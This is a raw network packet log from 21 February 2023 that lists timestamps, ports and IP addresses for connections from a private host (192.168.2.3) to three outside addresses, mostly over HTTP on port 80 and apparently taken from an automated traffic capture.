Feb 21, 2023 07:06:56.090735912 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:56.133980989 CET	80	49730	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:56.134114027 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:56.177289009 CET	80	49730	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:56.177375078 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:56.220568895 CET	80	49730	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:56.220626116 CET	80	49730	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:56.352953911 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:56.860400915 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:06:56.890295982 CET	80	49731	208.95.112.1	192.168.2.3
Feb 21, 2023 07:06:56.890403986 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:06:56.892281055 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:06:56.929560900 CET	80	49731	208.95.112.1	192.168.2.3
Feb 21, 2023 07:06:57.111521959 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:06:58.734527111 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:58.777805090 CET	80	49730	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:58.778650999 CET	49730	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:58.782778978 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:58.825953007 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:58.826147079 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:58.869304895 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:58.869435072 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:58.912605047 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:58.918903112 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:59.058959007 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:59.319226980 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:06:59.365683079 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:06:59.449637890 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.374291897 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.417859077 CET	80	49732	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:04.418068886 CET	49732	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.458875895 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.502089977 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:04.502274036 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.545450926 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:04.545552015 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.588624954 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:04.591530085 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:04.711848974 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:04.942343950 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:04.942431927 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:04.942523003 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:04.942789078 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:04.942816973 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.015734911 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.016583920 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:05.016623020 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.017254114 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.018630981 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:05.018667936 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.018788099 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:05.109154940 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:15.000780106 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:15.000941992 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:07:15.001017094 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:07:15.566654921 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:15.566807985 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:18.830215931 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:18.860158920 CET	80	49731	208.95.112.1	192.168.2.3
Feb 21, 2023 07:07:18.860737085 CET	49731	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:18.902983904 CET	49737	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:18.933114052 CET	80	49737	208.95.112.1	192.168.2.3
Feb 21, 2023 07:07:18.933274031 CET	49737	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:18.933494091 CET	49737	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:18.971183062 CET	80	49737	208.95.112.1	192.168.2.3
Feb 21, 2023 07:07:19.064827919 CET	49737	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:19.598287106 CET	49738	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:19.627978086 CET	80	49738	208.95.112.1	192.168.2.3
Feb 21, 2023 07:07:19.628129005 CET	49738	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:19.628288031 CET	49738	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:19.665237904 CET	80	49738	208.95.112.1	192.168.2.3
Feb 21, 2023 07:07:19.729798079 CET	49738	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:20.194802046 CET	49735	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:20.238358974 CET	80	49735	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:20.266530037 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:20.309555054 CET	80	49739	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:20.309705973 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:20.352941036 CET	80	49739	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:20.353034973 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:20.396179914 CET	80	49739	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:20.399065018 CET	80	49739	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:20.566468000 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.695969105 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.739203930 CET	80	49739	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:25.739343882 CET	49739	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.790647030 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.833901882 CET	80	49740	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:25.834119081 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.877307892 CET	80	49740	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:25.877439976 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:25.923803091 CET	80	49740	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:25.926975012 CET	80	49740	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:26.099168062 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.176367998 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.214299917 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.219609022 CET	80	49740	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.219741106 CET	49740	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.257381916 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.257513046 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.301218033 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.301331997 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.344561100 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.344611883 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.344965935 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.345208883 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.345899105 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.388304949 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.388350010 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.388385057 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.388447046 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.388448000 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.388546944 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.388848066 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.388942003 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.428881884 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.429013014 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431540966 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431581974 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431618929 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431648016 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431652069 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431648016 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431688070 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431689978 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431689978 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431715012 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431723118 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431746960 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431756020 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431759119 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431785107 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431818962 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431853056 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431889057 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431919098 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431922913 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431951046 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.431956053 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.431983948 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.432017088 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.432100058 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.432135105 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.432167053 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.432179928 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.432198048 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.432215929 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.432270050 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.473335981 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.476142883 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.476182938 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.476217985 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.476660967 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.476772070 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477166891 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477577925 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477616072 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477648020 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477680922 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477771044 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477804899 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.477839947 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.481353998 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.556056976 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.599248886 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.600436926 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.683870077 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.684098005 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.727278948 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.729662895 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.734430075 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:30.781800985 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:30.860408068 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:35.838416100 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:35.884959936 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:35.952647924 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:36.431067944 CET	49738	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:36.431557894 CET	49737	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:07:42.298542976 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.341747046 CET	80	49741	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.341840982 CET	49741	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.546062946 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.589077950 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.589263916 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.632590055 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.632716894 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.675923109 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.675981045 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.701440096 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.701596975 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.701642990 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.744601011 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.744647026 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.744683027 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.744708061 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.744744062 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.744776011 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.744817019 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.744868040 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.744877100 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.744930029 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.784909010 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.785056114 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.787796974 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.787837982 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.787873030 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.787908077 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.787940979 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.787975073 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788008928 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788084984 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.788105011 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788125992 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:42.788151026 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788197041 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788244009 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788279057 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788386106 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788475037 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.788510084 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.828318119 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831346035 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831398964 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831535101 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831613064 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831723928 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.831779957 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.836034060 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:42.968447924 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.013963938 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.014308929 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.096909046 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.097024918 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.140089989 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.142818928 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.188076973 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.233760118 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.234663010 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.279433966 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.279700994 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.279846907 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.279954910 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.280030966 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.280118942 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.280200958 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.280270100 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.322905064 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.322951078 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.322985888 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.322989941 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:43.323019028 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323129892 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323260069 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323384047 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323539019 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323575020 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323709965 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323810101 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.323959112 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324055910 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324089050 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324270010 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324305058 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324413061 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324532032 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.324672937 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.365360022 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.365977049 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.369035959 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:43.553976059 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.377145052 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.420469999 CET	80	49743	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:48.420744896 CET	49743	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.553786039 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.596807003 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:48.596992016 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.640230894 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:48.640336037 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:48.683506012 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:48.686220884 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:48.762485027 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.500628948 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.544095039 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.577739954 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.577898026 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.578036070 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.621201038 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.621263027 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.621295929 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.621331930 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.621438026 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.621438980 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.621511936 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.621541977 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.621541977 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.621601105 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.664796114 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.664886951 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.664923906 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.664958000 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.664990902 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.665086985 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665149927 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.665198088 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665200949 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.665235996 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665235996 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665241957 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.665275097 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665278912 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.665318966 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.665354967 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.689541101 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.704937935 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.705075026 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.708395958 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708441973 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708477974 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708488941 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.708511114 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708545923 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708642006 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708677053 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708712101 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708805084 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.708841085 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709024906 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709060907 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709208965 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709291935 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709420919 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709543943 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709692955 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709860086 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.709897041 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.710016966 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.710055113 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.748394012 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.751621962 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.754142046 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.803248882 CET	49744	80	192.168.2.3	89.45.67.2
